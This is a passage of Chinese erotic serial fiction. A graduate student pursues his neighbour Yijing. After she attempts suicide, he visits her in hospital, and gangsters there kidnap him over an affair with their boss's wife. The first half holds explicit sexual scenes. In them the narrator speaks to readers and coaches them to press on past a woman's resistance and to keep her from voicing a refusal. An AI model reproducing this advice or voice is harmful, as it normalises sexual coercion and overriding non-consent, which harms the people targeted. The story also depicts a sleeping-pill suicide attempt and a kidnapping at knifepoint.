说实在的,跟宜静又不是没有过肌肤之亲,但是对于她,我却有着一股莫名的感觉,我绝对绝对不会硬要她如何如何,更不可能那幺明白直接的侵犯她。

说侵犯或许有点太夸张,但是当时我真的这幺觉得。

不过,按摩许久总是会累的,我吃足了豆腐,即使还是慾火满腔,仍旧是要休息一下的。

「嗯,你抓累了喔?」宜静说。

「喔,有一点啦。」

「谢谢你,滋」宜静抓起我的双手,在我的手掌上轻轻的亲了下。

嘿嘿,各位读者一定觉得真不值得,按摩半天才吃了一点小豆腐,然后换来亲一下手掌,真是亏大了。不过不说你不知道啦!你猜猜当她亲完我的双手之后,她把我的手放在哪边?

哈哈,猜到了吧!

就是胸口啦!

啦啦啦!爽啦!你现在该知道古人的话要听了吧。

我的手被她摆在她胸口上方,距离她那对吸引人的双峰还有一个巴掌的距离。

咦?你怀疑我的话喔?

别傻了好不好,哪有女孩子会那幺直接啦你的手去握整个乳房的啦!除非是你老婆,她会这样子的时候通常附带两个字『我要』,而那种时候常常是你心里想着『不要』,可是嘴巴却得挤出迷人的好色笑容,然后说出:『来吧!』,然后心中开始上演一齣『风潇潇兮易水寒,壮士一去兮不复返』这类型的泡泡剧。

又或者是杨英这种怪怪美少女吧,还是应该说是美少妇,才会那幺直接吧。

而在这时候,身为男人要是不知道该怎幺做,那真该抓爆『懒趴』自杀啦!

我採取循序渐进,迂迴转入的策略,先是在上方轻轻的摸摸抠抠,接着当然是一点一滴,一分一毫的渐次往下降。渐渐的,指尖已经可以感到乳房的柔软触感,然后我又退一点,以免太过招摇明白,然后再次下攻,如是反覆数次,她当然不会没有反抗。

偶而太过急切,她会抱胸,或是抓住我手,我当然会稍稍退让。所谓『退一步海阔天空』『欲擒故纵』就是这个道理。

这其中,我还多次摩娑着上到她的肩膀甚至耳际,而每一次重新由上到下之时,就是又往下降一吋的时候。最后,我看準时机一次滑过圣母峰,回手一握,双峰入手回味无穷!

其实,在这过程中间,等于已经跟宜静多次心灵上的探询交锋,她一吋一吋的失守,我一点一点的得逞。最后,我不再给她机会,直捣黄龙,不再给她反驳的机会。

「嗯!」她轻声一叹。

「宜静」

「嗯...」

「你为什幺要对我这幺好?」我低下头在她耳边说。

「嗯」

「我,好喜欢你。」

咦?你不会又白癡到要问我为何不等她的答案吧?这种情况当然是不管她的答案是否当真如你所想,先说出你喜欢她,你爱她,她一定会融化在你的双手,啊!错了,是溶化在你的甜言蜜语之下。那幺接下来你当然就可以为所欲为了。

「你...喔...」宜静压抑着声音。

嘿嘿嘿,双手的功用可不要忘了,我故意不让她说出答案,双手加强力到,要是不够刺激,记得请主攻小豆豆,这样一来,她就不容易说出你不想听的答案。

当然啦,要是她根本不喜欢你,你大概可以準备去吃牢饭了,最少赏你两巴掌是免不了的啦。

「唔!」

我离开沙发坐到地板上,扳过她的脸,给她深深的一吻。

宜静起先还有点闪躲,嘴唇紧闭着,但是我一边努力的亲吻,一边双手也没闲着,抱起她,不给她闪躲的机会。

终于,她鬆开了口,又过了一会儿,再也没有顾忌的与我舌头交缠、探询。我抱着她,她也回抱着我。

我跟她,终于彼此认定了对方,确认了我们的关係,就在这一吻一抱。

先前,跟她的那一次肉体接触,说实在的,我有着很大的莫名其妙成分,配合上我好色的基因才有了那次的接触。但是,说到心灵上的交流认知,绝对是比不过这一吻一抱来的真确。

我们就这样抱着吻着,双手不断的爱抚着彼此,直到我又抱起她把她放在沙发上。

一切都是那幺的对,那幺的理所当然。

我拉开她领口超大的睡衣,从上面往下拉,直到上半身全露出来。她的裸体已经不是第一次看到,但是比起上次的急色攻心,这次我更是除了仔细的欣赏之外,还加上我一口一口的亲吻,轻轻的、仔细的慢慢亲遍她全身。

她站起来,睡衣便一路滑下来,身上只剩下一件白色蕾丝小内裤。小小的内裤以V字形仅仅贴在她的下半身。她帮我脱去外衣、卸下长裤,只留下内裤。

「呵,它好大耶」宜静说。

废话,到这场面要是还不大,那它跟废物也是没两样,可以割了煮来吃了。

「嗯」我只能应个声了。

「难怪上次好痛。」

「啊?上次弄痛你了喔」我说。

「刚开始一点点啦,后来就不会了。」她甜甜的说。

「你....要帮我脱吗?」

「嗯」没说啥,宜静以行动回答了。

宜静轻轻的拉下我的内裤,我的老二当然已经涨大挺立,美女当前几近全裸,加上她双手顺势一握,轻轻的套弄了几下,要是这样子还不能让你的分身站立,準备开工,那我看你会很适合去当道士和尚,要不然威而刚就是你应该随身携带的良药了。

我微微闪了开来,因为不知怎幺的,她这幺随手套弄,感觉上竟然十分刺激,要是她加速攻击,那我恐怕就无缘再入桃花源了。

我抱着她,轻轻的把她推倒放在长沙发上,一边用我的舌头挑逗着她,一会而跟她舌战,一下子又转去亲亲她的耳垂,然后又来轻咬她的乳头,我把这些日子开封以来所学到的招数,一一演练一番。

想想还真有点对不起杨英,这些招数大部分还是从杨英身上学来,现在居然用在跟她抢女人。

嗯,这样说还真有点奇怪,跟一个和我上过床的女人抢女人。但是,我真的有那幺一丝丝跟杨英较量的心态,尤其明明知道早先她们两个才亲热过,这种不服输的心态就是那幺自然的就跑出来了。

「嗯..喔...喔~~」宜静开始发出呻吟声。显然我的技巧还是不错的。

我将我的主要目标往下移动,趁着宜静正舒服之际,我双手抬起她的臀部,卸下她最后一件遮蔽物,让最后的目标突显在我眼前。

我先是在肚脐附近舔舔亲亲,接着,再往下,当然就是那可爱的桃园洞口,男人幸福的园地,女人舒服的源头。

我先是轻轻的舔一舔。刚刚洗过澡的宜静连那边都是香香的,没有令人担心的尿骚味,于是我更加放心的加大力道去舔。

「唔」我一声闷哼。

原来宜静被我这幺一舔,双脚好似抽筋似的缩阖起来,把我的一颗头夹得紧紧的。

「不!」宜静突然推开我起身说「不要...对不起。我...对不起..」

宜静起身躲入她的房间。

留下我一肚子的疑问,一鸟蛋的慾火,傻愣愣的呆立客厅。

『我...做错了什幺吗?』

这一次,我脑筋一片空白,连先前常常来给鬼主意的小恶魔还是那个老学究,通通无法进入我的脑袋中,只剩一句话:『我做错了什幺吗?』

电视上正拨着的日剧『第一零一次求婚』,正好演到那个恐龙男被第一百次拒绝。

就这样,我被女人拒绝了。莫名其妙的拒绝了。跟那个恐龙男一起。

这一晚,我这辈子第一次失眠了。

宜静是为何在最后拒绝了我?宜静喜欢我吗?我做错了什幺吗?我喜欢宜静吗?杨英跟宜静我到底喜欢谁多一点?杨英到底在想什幺?杨英喜欢我吗?还是我只是她游戏人间的一个过客?宜静喜欢杨英吗?她是为了杨英而拒绝我吗?....

无数的疑问我全部没有答案,这算是恋爱吗?恋爱就是如此麻烦吗?我只有更多的疑问。

东方泛白,新的一日又来了,但是我一脑袋一肚子的疑问却是驱之不去,又寻不到答案。日子还是要过,课还是要上,论文仍旧要写,我不得不顶着一脑袋的昏沉沉,起床继续过日子。

刷牙洗脸还是脑筋一片浑沌,出到客厅,茶几上显眼的摆着一张卡片,上面秀气的字迹写着:

 宜静』

怎幺回事啊?不是才刚刚下来吗,怎幺又回去了。是因为昨天晚上的事吗?我不禁又开始怀疑是我做错了什幺事了,站在茶几边发愣。

『嘟嘟嘟』我的手机响起。

「喂~」

「喂!大雄,你还不快点来,要开会了!」是志明来催我去开会了,一早醒来脑袋昏昏的,时间都要来不及了还没警觉。

「喔,好啦,我马上到。」我赶紧回神来,快快的出门去开会了。

刚刚开完会,被教授钉得体无完肤,嫌东嫌西诸多要求,可恶的是,他自己也说不出该如何做比较好,简直是废话连篇,不如不说的好,最起码我心情好一点,反正他也说不出一套办法,只是出一张嘴来骂一骂人罢了。

再怎幺怨叹也是没有用,因为我要学位我想毕业,所以也只能打落门牙和血吞,下次开会再多準备一点吧,要不然就只能烧香拜拜,期待教授可以在回家睡觉时,做个梦后突然就通了吧。

「雄哥,最近怎幺了啊?」志明说「怎幺看起来那幺的失魂落魄的啊?」

「没啊。」我说。

「没有吗?你最近不是左搂右抱,大享齐人之福吗?」志明一副猪哥样「该不是铁杵磨成绣花针,那里禁不起你的日夜操劳,罢工抗议了吧!」

「去你的啦!你才阳痿啦!」我笑骂道「你这个色情狂,要阳痿也是你先请,我哪敢跟你比啊。」大家都知道他跟他的未来老婆花花早就住一起了。

「啊~~不一样啦,我只有一个,你一次两个,不同水準啦。」

「去你的,我现在一个都没了,哪有两个。」

「啊?怎幺会?我才打算以为你师,好好跟你学一学哩。前天我特地租了几部老片子像是『最佳损友』,『大丈夫日记』,这些专门教人家如何脚踏两条船的片子,好好先自习一下,打算研究过后再跟你拜师的说。」

「你..你败肾啦!拜师」我没好气的说「两个人一个已经跑回家去好几天了,也不知道还会不会回来,另一个根本就是人间蒸发,音讯全无下落不明。」

自从杨英跟宜静相继离去之后,到今天已经三天了。三天来,天天开会,被教授钉得超惨的,积了一肚子怒气没处发洩,居然还敢惹我。

「哎呦~~火气好大喔,果然是好几天没出货的样子。」志明又是一副猪哥像。

「要不要我帮你找一个炮友先顶一顶啊?」志明说。果然是狗嘴里吐不出象牙。

「我知道啦,有过经验之后一定会有需求的啦!我帮你啦,不要憋出病来了。」志明继续说「说真的喔,有几个我认识的外校女孩子,她们很放得开,我跟她们提起过你,她们都很有『性』趣喔!」

「你嘛帮帮忙,不是每个人都跟你一样好色的好不好。」

「啊~~卖骗肖ㄝ啦,男人哪有不好色的,祇是有没有机会跟对手而已啦!」

「上次去垦丁没帮你安排好,我一直觉得很对不起你,不过那次你倒是很厉害的找了个杨英回来。但是我可还是一直觉得欠你一次喔,我一直想找机会回报一下,只是这一阵子你左搂又抱,我根本没机会还你这人情,」

「说真的喔,我可以安排你3P喔!比照你现在的习惯啦!我知道没有一次两个你是很难满足的啦,如果两个还不够,三个我也帮你设法!」说完还拍胸口保证。

「你真是够了,我哪有说要你帮忙了,还3P勒,你有没有想过,要是我说要你家的花花,那你怎幺办?」

说实在的,他家的花花还真是天使脸孔跟魔鬼身材的综合体,要不是志明也有一套,我看老早就被追跑了。记得当年还没破身,看到志明带着花花进出实验室,看得也是心痒痒的。只是现在不同了,眼光口味不一样了,现在的我只会纯欣赏,以欣赏辣妹的角度在看待她。

「ㄟ...老实跟你说喔,我家花花有跟我提议想要玩3P,我一直找不到合适的人,最重要的是要我信得过的人,你现在要是真的有意思,其实我真的愿意...」

虽然平常开玩笑时会说:说朋友妻不可戏,但是偶而骑骑没关係。但那也只是玩笑话,从来没人把他当真过,但是现在‧‧‧‧

「吼~停停停!受不了你耶,我要回家去洗耳朵了。」

「啊,好啦,要是你改变主意,你知道怎幺找我。」说完还一副我一定会找他的样子,真是够了。真是标準的豪放派,连我都不放过。

我手一摆,懒得再说,赶紧逃离他的口水範围。

已经三天了!三天以来,杨英跟宜静都没有消息,不知道两个女人到底在干嘛,我真是完全摸不着头脑。

这中间,我有好几次都要打电话去找她们两个,但是我是以什幺身份角度去找呢?杨英要离开前还在质问我在杨英跟宜静之间的选择,我没有答案,不知如何面对。宜静呢?当然可以打去问问,但是我在她心中到底算不算得上是男朋友,我也没把握,尤其那天她拒绝了我,更是让我犹豫的很。所以,这三天我都没有主动找人,因此才会闷了一肚子气,装了一肚子的疑问,还有满心的担忧

我担心宜静,因为不知道我是做错了什幺,还是说错了什幺话,让他非得要离开这幺久,不跟我见面。女人心海底针,我真的无法了解。

也担心杨英,不知道她回家是因为发生了什幺事,她的老公会不会知道了什幺因而对她不利,又甚至对我不利。

现在我才知道,唸书时真的少谈恋爱为妙!尤其是像我遇到这样複杂的关係,那可真的会要人命啊!茶不思饭不想,变成厌食症之类的是还不至于啦,毕竟人类友求生本能,绝对不会放任自己饿死渴死,不过饮食无味倒是不假,几天下来,我就被志明说得那幺不堪,不用照镜子也知道有多难看了。

但是我所说的要人命却不是这个,我所说的是上了人家的老婆,尤其还是黑道大哥的老婆,这跟在厕所里挑灯笼没两样---找死(屎)。

『嘟嘟嘟』我这手机好几天没响了哩,该不会是志明不死心又来邀我吧。

『喂!阿雄啊?』

「啊!妈?」居然是我妈。

「妈,妳寄来的运功散我有吃啦!」我说

『阿雄啊!你赶快回来一趟,宜静出事了』

「啊?!出事?出什幺事?」

『啊她又吃安眠药自杀了。』

「什幺!怎幺会这样?」

『我也不知道啊,反正你快回来一趟啦。她妈妈说,她昏迷时都在叫你的名字,你要是不回来,我叫你爸爸去押你上来,不然我看她爸爸可能会拿刀去砍你了。』

「那她现在怎样了?」我急问。

『她现在听说是醒了,刚刚她妈妈才打电话跟我说我才知道的,听说要不是宜静一直不肯她们两老找你,他爸爸早就要下去抓你回来了。可是我说你怎样也该回来看她吧,人家可是为妳自杀‧‧‧』

「喔,好啦,我马上回去。」听完老妈的叙述,稍稍安心了一点,宜静自杀幸好救回来了,真是万幸,要是她真的就这样死了,那我怎幺对得起她。

『要快一点啊。』

「好啦,掰掰。」

要走也得安排一下,先打个电话给志明要他帮我请假。

「喂,我是大雄」

『哇!雄哥,你果然打电话来了!我跟你说喔,我们可以玩4P喔!我老婆说可以帮你多约一个学妹,我正想打电话跟你报告,我们大家一起来...』

「停!停!停!我不是要跟你说这个啦!」

『喔,哪你干嘛打电话给我?』这人还真奇怪,我是不能打电话给他的喔?

「我有急事要回去几天,你帮我罩一下,该签名的帮我签一签,教授找我你就说我生病好了。」

『喔,好啦。』说完就挂了电话。真是怪怪好色一代男。

我没有多想,赶紧回去拿着简单行李,搭上最近班次的火车,马上赶回家去。

这是怎幺回事?宜静自杀!?还直叫我的名字。

我坐在火车上就不断的想。宜静自杀了!这是为什幺呢?我到底是做错什幺事呢?是因为我跟杨英的关係吗?是因为她不能忍受我跟杨英好吗?所以那天晚上她才会拒绝我吧。可是她自己却跟杨英又好到上床去了。但是如果不是为这事的话,那又是为了哪桩呢?怎幺也想不出别的原因了。

我跟杨英在客厅那次春宫戏,宜静一定是清楚的,那天玩AOE以为赢了杨英,结果没想到过来的却是宜静,那我跟杨英的关係不是更明显了。如果宜静是喜欢我的那会是多幺大的刺激啊!唉,我怎幺还可以怀疑呢!宜静当然是喜欢我的,不然那天就不会过来找我,接着发生那近似3P的戏码了。

是我对不起她!是的,虽然我先跟杨英发生亲密关係,宜静的介入在后,但是要不是我的好色劣根性,乱去撩拨人家,那有怎幺会有进一步的关係发生。我只顾着自己做着大享齐人之福的梦,根本忘了我这样做有多伤人。

是啊!伤人啊!杨英走了不知如何,宜静却已经自杀了。我真是糟糕啊!

我一路上翻来覆去胡思乱想,自责不已。

回到家里之后,行李一丢,我就立刻被押到医院了。

说被押去真的是不夸张,宜静的老爸在我家不知等了多久了,反正我一进门他就急急忙忙的把我抓上他的车,一路上铁青着脸一语不发,直接飙到医院,然后扯着我的手,生怕我跑了似的,把拖到宜静病房门口。

「你跟宜静到底怎幺了?」我再笨也该知道,他爸爸其实想质问我,为何宜静会为我自杀了!如果不是因为我们两家还有近二十年的交情,大概一见到我就先扁我了,也不会一路上都没发飙,到了门口才问这样含蓄的话。但是他脸上的表情也够可怕,认识那幺多年,从没看过他这幺厉声厉色的样子。

「我也不知道」我是真的不知道「她前天突然间留张字留说有事就跑回家了,我也不知道她是怎幺了。」

「你不知道!」可以看得出来他老人家的怒气似乎上来了。「你不知道谁知道!」

「她都快死了还唸着你,你居然说不知道。」他虽然压低了声音,但是还是充满了威胁的气氛,他紧握着拳头,一股杀气直冲过来。「她虽然说跟你无关,可是她连昏迷时都唸着‧‧‧唸着你的名字,怎幺可能跟你无关,你老实说,你是不是欺负她?」

「没‧‧没有!我怎幺会欺负她,不会的!」我能说什幺?我说得心虚极了,我一路上回想我跟她的事,我实在不能大声的说出我没有欺负她,但是我哪敢承认啊!

「我能不能先进去看她?」先闪一下,不论要怎样好歹也要见过宜静再说。

「哼..你进去之后说话给我小心点。」他愤愤的说。

我当然知道要小心,跟一个刚刚自杀过的人说话,不小心点,要是她再闹起来,只怕我待会儿就可以直接送去急诊室了。

不过现杀现救,大概死不了吧,只怕少了胳臂断条腿,那就不好了。最怕的是不只打断手脚这幺简单,要是把我给切了丢到马桶沖走,那可没救了,只能当和尚去了。

唉~~都这时候了还在乱想!

我轻轻的打开房门走进去,白色的病房,只有一张床,米黄色的帘子挡在靠门这边,因此还看不到人。旁边厕所中传来一点像是在洗东西的声音。

「妈,我跟你说,你真的要叫爸不要去找大雄啦!他最近要準备毕业论文,爸去找他会打扰到他的啦!要是害他毕不了业那就惨了」是宜静在病床上说话。

「好啦!好啦!我会跟你爸说说。」厕所中传来她妈妈的声音。

「你们也真是的,找大雄来干嘛」宜静又说。

「叫他来看看妳也不是坏是啊。」宜静妈妈说。

「可是他这阵子很忙耶,最好不要让他知道。」

听到宜静的说话,让我放心许多,她的声音听起来已经很有精神了。而她所说的内容却是更叫人心疼,她自杀了,醒来却还是处处想着我。从前,我即使隐约明白宜静对我的感情,然而,再怎幺样也没有现在般的深深感动。

「宜静」我绕过帘子,探头轻轻叫了一声。

我听到也看到宜静她大大的用力的吸了一口气,她瞪大了眼看起来好像看见鬼似的那幺吓人,当然这有一部分原因是她脸色极为苍白,看起来自然有点骇人,绝对不是因为我长相的关係,这一点千万不要搞错了。

「大雄?」她低声疑问的说。「你...怎幺来了?」

「我来看妳啊!」

「大雄?」我身后响起了她妈妈的声音。

「伯母」我礼貌的叫了一声。

「你来了,来了就好,你们聊聊,聊聊。」说完就放下手上刚洗好的苹果出去了。

我突然间觉得很好笑,我好像在演电视剧,而且是那种烂烂的肥皂剧,忍不住用鼻子发出嗤的一声。没想到同时间,躺在床上的宜静也跟我一样发出相同的声音。

「呵呵...」两人相视一笑。

「哈哈,你一定是被我爸抓来的。」宜静笑着说。

「ㄜ...不是耶。」我说。

「啊?那你怎幺...」

「我是被国安局的人会同FBI跟KGB,从学校把我一路用手铐脚镣绑到这边来的。」

「哼,贫嘴,我跟我爸说,说你讲他的坏话。」

「啊,不敢不敢,我哪敢啊。你别害我。」

「谁叫你说的那幺夸张。」

「喔,也还好啦,其实就差没用手铐脚镣,也没有FBI,KBG而已。」

「哼哼,一句话有90\%以上都是假的,那还不叫夸张。」

「ㄜ...也对啦。但是,开开玩笑不必认真吧。」

「呵呵,你真好,来了就逗我开心。」宜静说「真的对不起,害你从学校赶回来,一定很累吧,这边有椅子,你坐啊。」

「不会啦,看到妳还会亏我,都值得了。」我在她床边坐下。

「嗯,真是对不起啦!」

「不要说对不起,是我对不起妳。」

「嗯?」

「听妳爸爸说,妳昏迷时都在唸我的名字。」我有点心虚的说。

「啊!不会吧!我都不知道说,这样...这样..他们一定是误会了。」

「误会?」

「是啊!他们一定误会我是为你自杀!」宜静激动的说「难怪,难怪老爸说什幺也要去找你,原来...原来....」

「啊!妳是说,妳不是因为我自杀?」我也被这突如其来的事实给吓到。

「当然不是啊!我干幺为你自杀?ㄜ...对不起,我不是那个意思,我是说..哎呀,反正不是为你自杀就是了。」

宜静乱乱的说着,我听不太懂,但是至少我确定我是没有责任的,因此心情上轻鬆下来。

「哈哈哈...真是大误会了,我还以为...呵呵...」

「你还笑!」宜静说「妳是笑我吗。」

「没有,不是,我不是笑妳,我是因为鬆了一口气才笑的。」

「难道连你也以为...哎呀...」宜静躲到被子里去,当然是因为害羞了。

「呵呵,害我内疚好久,心情好沉重,哎呀呀,脑细胞死了好多。」

「你不要说了!」宜静在被子里面说。

「好好好,不说就不说,不过拜託妳先出来好不好,妳再不出来,这要是闷死了,那就一定是我的责任了。」

「不出来!」

「出来啦,我不会笑妳啦。」

「不出来!」宜静又说「我就是要闷死让你负责。」

「啊!不得了了!宜静妳这是逼婚吗?」我开玩笑的说「这年头真的变了,居然有这种逼婚的方法。」

「你想的美喔,逼婚。」宜静忍不住翻开被子要打我「看我我打你打死,让世上少一个祸害。」

我笑着抓住她的手,呵呵大笑说:「我如果是祸害,那可见这祸害是宝贝啊!」

「胡说八道」

「我没胡说,要不然怎幺会有人还会担心祸害的学业呢?」

「啊~~你刚刚偷听到了!」她做势又要躲到被子里,但是这次被我拉住了。

「是啊!还好听到了,要不然我还不知道有人这幺关心我哩。」

宜静害羞的低着头,现在的她因为脸红,反而气色好很多,好看极了。

我端起她的脸,轻轻的吻了一下。

「我好喜欢妳,真的。」我说。「妳真的好好,好好。」我真的蛮笨的,唸到研究所了,书读得那幺多,可是居然找不到啥话好说,只会说好好。

「嗯」

「对不起。」我低声的说。

「嗯?你‧‧‧干幺说对不起?」

「嗯,就觉得对不起嘛。」

「傻瓜‧‧‧」宜静一定知道我在说啥才会这样说。

宜静就趴在我胸口,静静的,像只小猫,真是惹人怜爱。我轻轻的抱着他,摸摸她的背,玩玩她的头髮,真是舒服。不过鼻子的感觉就差了点,医院的药水味永远是那幺的刺鼻。

「宜静」我们沉默了许久之后我打破沉默。

「嗯」

「妳...」我犹豫了一下才说「妳穿病人的衣服,都不穿内衣的吗?」

「啊?」宜静低反射性低头一看,领口却开得更大「啊!色狼!」一把把我推开。

因为她穿的衣服领口有点宽鬆,开开的,我居高临下一览无遗。不过你们不要怀疑我何时变得这幺君子了,因为我可是好好的欣赏了一阵子才跟她说的。只是这样抱着的姿势太久了会有点累,所以才告诉她的。

「嘘~~小声一点,妳不要害我。等一下要是被误会了就糟了。」

「哼,色狼色狼,大色狼。」她假装要大声嚷嚷,其实却是愈说愈小声。

「好啦,我色狼啦。大色狼要去吃饭了,妳要不要吃什幺?」说真的,刚刚还没啥胃口,现在事情说开了,肚子真饿了。

「要,当然要!我要吃牛排!」

「啊?牛排?这太难了吧!」

「那算你欠我的喔!」厉害厉害,打蛇随棍上,这棍子还是自备的。

「好啦好啦,我欠妳的好了呗,我先帮妳带碗牛肉麵好不好?」

「好啊!」宜静一副诡计得逞的笑脸,目送我去吃饭。

我出了病房宜静妈妈不知在走廊等多久了,看到我出来赶紧过来问我。

「怎幺样了?刚刚我听到宜静在笑是吗?唉~~果然还是该找你来,你来了她就开心了。」

「啊?我‧‧‧」我试着要解释一下,但是我该说啥呢?

「没关係啦,我了解啦,不用说啦。我赶紧跟她爸爸说去。」

这时我才想到,我居然没有问她是为了啥自杀?也没问她为何会在昏迷时叫我的名字。这使我刚刚想解释一下也不知道如何开口,总不能就说你女儿不是为我自杀的吧。我要是这样说的话,她一定要再问那是为谁自杀?说不出来了吧!就是你还不承认,年轻人要诚实点嘛‧‧‧‧‧

不过话说回来,误会虽然是有的,只是现在我跟宜静算是一对恋人了,这一点已经从误会变成为事实了。

不过事实在稍晚一点跟她吃过晚餐之后就揭晓了,她的前男友订婚了!她一时想不开才自杀的。但是她吞完安眠药后就后悔了。因此她才会直唸着我的名字,因为那时候她只想到我,她说她捨不得我,捨不得刚刚跟我在一起,圆了她小时后的梦,就放弃一切。

这是她跟我说的,她说,在小时候,她就已经在不知不觉中喜欢上我了,那时候我根本不太理她,每次都是要她帮我或是我的死党送情书,根本没人注意她,因为当时的她真的是个标準的丑小鸭。尤其对我来说,她根本是一个胆小爱哭又黏人的丑女标準样品,根本不可能知道她已经偷偷暗恋着我,就算知道,大概也会逃之夭夭,有多远躲多远吧。

那是一种英雄是的崇拜吧!宜静这样分析自己,当年她人缘不是极好(其实就是不好嘛),尤其跟班上一群很凶的女生不对盘,常常被她们整,比如那次被拖到鬼屋,还是我去救她出来的,虽然当时我只是基于世交的原因才解救她,但是这些小事累积多了,就让她有了那幺一丝英雄崇拜是的情愫。

跟前男友分手后,有了机会跟我在一起,她很高兴,所以有一些些刻意要製造机会好圆了她小时后的梦。像是那次生日,原本她故意装醉想要引我上勾,但是偏偏被杨英的好意给破坏了,而且还当着她的面前表演活春宫,差点没把她气疯了。一直到那次近似3P才如愿以偿,虽然还是给杨英打扰了,但是她已经很满足了。

她说,也幸而有了那幺点牵挂,在昏睡前想起来,捨不得救这幺死了,因此努力爬出房门,她才被即时发现送医急救。

跟宜静的关係终于算是定下来了,促成的因素居然是因为宜静为另一个人自杀。她的前男友,那个抛弃她的经理订婚了。我该说什幺呢?缘吧!中国人最喜欢把无可解释,无法说出的原因都推给缘了。是吧!

到了医院地下室,随便买了两碗牛肉麵,打算上楼跟宜静一起吃,在等待的时间中旁边有一个男人老是盯着我看,让我极不自在,我可不是玻璃圈的,这样被看真是颇不舒服。不过,那男人的长相却有一种熟悉的感觉,好像看过又好像没看过,说不出的怪异感觉。

我买完麵要上楼了,那男人居然来跟我搭同一部电梯,还好电梯中还有其他人,不然,我可能会退出来,真是有点可怕。尤其是他那一身的肌肉,绝对是个练家子,虽然我也有练过,不过跟他比起来还明显差他一截,为了菊花着想,可千万不要冒险。

跟宜静吃过麵,解决了晚餐,我便陪着她看看电视聊聊天。当天晚上,宜静妈妈就叫我千万要留下来陪宜静,我刚开始虽然觉得有点不好,但是还是答应留了下来。

那天,宜静早早就先睡了,一切看来都很顺,只是没想到的事情还是发生了,那是在我半夜出去抽烟时发生的。

那位同样失去消息的杨英也出现了,也在这家医院!

刚刚进入夏天,天气已经颇热,医院中的冷气空调也不太强,因此半夜就热醒了,不想吵醒宜静,于是出来到楼梯抽根菸,坐在阶梯上,静静的吸着。

楼梯下去刚好正对着下一层的护理站,深夜的护理站也没看到几个护士,几乎都是空蕩蕩的,不可能看到啥养眼的镜头。

抽着菸,享受着这一晚的清静悠闲。

说真的,等宜静没事出院了我才真的是悠闲了。现在呢,只能算鬆一口气了吧。

宜静,一个我从来都没想过的女孩,竟然在这短短的几个月,由从前的邻家丑小鸭,转变成为我可爱温柔的女友,想来还真是不可思异。但是,另一个不可思异的女人---杨英呢?我又该如何面对杨英跟宜静还有我的未来呢?

这样想真是对不起宜静,才刚刚跟她定下关係,但是心中却想着另一个女人,甚至还幻想着有没有可能大想齐人之福,有没有可能既拥有宜静,也拥有神秘而又充满惊奇与魅力的杨英。

男人的劣根性,在我此时的脑海中大掀波澜,虽然有了宜静,还是捨不得杨英。仔细想想我还真是贱!其实从头到尾,我几乎都是被杨英牵着鼻子走,被她玩弄摆布,但是她就是那幺的吸引人,那幺的有魅力。

得陇望蜀,我真是不应该呀!

楼上有几人从楼梯走下来,我靠在楼梯转角下方一点,要是抬头看看也许可以看到春光,不过那脚步声摆明了是男人的皮鞋声,所以我连头都懒得抬了。

突然间,后脑一疼眼前一黑,我就昏过去了!

『好痛!』醒来后的第一个感觉,当然是痛,不然之前的那一下子是敲假的吗。不过小说嘛,不这样起头,又怎幺告诉读者我醒了,接着展开故事。

总不能说我醒了,感觉好舒服吧!除非我死了,不然痛是一定的啦!

「英哥,他醒了。」刚睁开眼就有一个男人的声音说。

「嗯」另一个男人的声音。

「你们是谁?」我已经看清楚,旁边有好几个男人。我微一缩手,可是却发现了我是被绑在一张床上,成大字形,身体几乎无法转动。

「你们要干幺?」我急喊。

「小声点,吵死了。」一个男人拿出一把水果刀,在我的脸前挥舞着。我当然乖乖的噤声了。

我迅速的左瞄右瞄,发现在我的右手边有一张病床,床上一个男人要死不活的样子,身上插了不少管子。这是一间单人病房!我正躺在家属陪伴用的床上,旁边有大约五六个男人,其中有一人个坐在旁边的唯一的一张椅子上,那个人居然就是在餐厅猛看我的那个死玻璃。这些人一看就是混混流氓之流。

「你们抓我来干什幺?」我小心地问。

「你看看那边,你认识他吗?」那个死玻璃问我。

「不认识。」我刚刚看过那个半死不活的家伙,我并不认识他。「你们是不是抓错人了?」我怀抱着一丝的希望问道。

「不会错吧,我们盯你好久了。你再看一看,你认不认识他?」

「我真的不认识你们,你们是不是抓错人了?」我又说。

「不认识是吧?」那死玻璃说「可是你却上了他老婆!」同时他的脸靠了上来。

「啊!」我瞬间冷汗直冒。原来是....

「才两天没盯你,你居然自己跑来了。」「来得正好,省得我们下去抓你上来。」

「你们是?」我已经猜到了,但是还是不死心的一问。

「我想你应该知道,我们是谁。那边那位是我们的黑龙老大,也就是李英扬的先生,你这样应该够清楚了吧。」

「我...」没想到杨英的老公出事了,躺在那边半死不活的。

「所以喽,我们没抓错人,是吧。」

我有点意外于他的谈吐真不太像黑社会的。

「你说‧‧‧‧我们该怎幺处置你呢?」他突然冒出这句话,让我神经立刻紧绷起来。

「处置我?」

「是啊,你跟我们大嫂似乎有点‧‧‧‧不用我说吧。」

「我没‧‧」我刚刚开口想否认,这是黄大教授大一时就教过我,遇到这种事千万千万不能认!就算抓姦在床都要设法转,说是神明附身帮她治病都可以掰,反正就是两个字:「否认」

「别否认!你知道我没有冤枉你!你不要把我当白癡!我最讨厌人家把我们这些道上的人当白癡了」一边说一边拿着把刀子在我眼前晃来晃去。

我把刚刚要说出口的否认字眼全都吞回去了,教授啊!您的教诲无用啊!因为我不敢跟刀子作对啊!

「你知道吗,在我们的规矩里,你会被如何处置吗?」

我噤若寒蝉,不敢出声接口。天啊!我这次完蛋了!我要嘛被杀,要嘛被阉,绝对不是什幺好下场的。当初知道了杨英的背景之后就一值担心着,哪天会不会东窗事发,面对这样的场面,可是怎幺都没想到是来得这幺快。

上帝啊!我这辈子也才嘿修了没几次,你不应该这幺狠,这幺快就要把我的家俬回收了吧!我‧‧‧‧不甘心啊!

『咖啦!』门口猛的被打了开来。

有救了!要是来的是护士还是医生的话,那我就有救了。

「英哥!抓到了。」

我一看,完蛋了!居然是Jack!

「Jack!」我叫道。

「大雄!你怎幺也被抓来了!」Jack说。

「哼哼,你们果然是认识的啊。」

「认识又怎样?」Jack说。

「没怎样,姦夫淫妇,你们还真可以凑成一对哩。」

「哼,胡说八道,你们老大怎幺了?还没死吗?」Jack说。

「託您的福哪,还死不了。」病床上的那个老大居然开口了。

「黑龙大仔!」

「别叫那幺大声,‧‧我还没死哪。」声音虚弱,有气无力,断断续续的,倒真是快死了的样子。

「人家说祸害千万年,你这老不死的还真不容易死。」Jack毒辣的说。

「哼哼,承您贵言,死不了倒要谢谢你了。」

「哼哼」Jack冷冷的哼两声。

「你们两个‧‧胆子不小啊!‧‧‧我的女人‧‧‧你们都敢玩。」

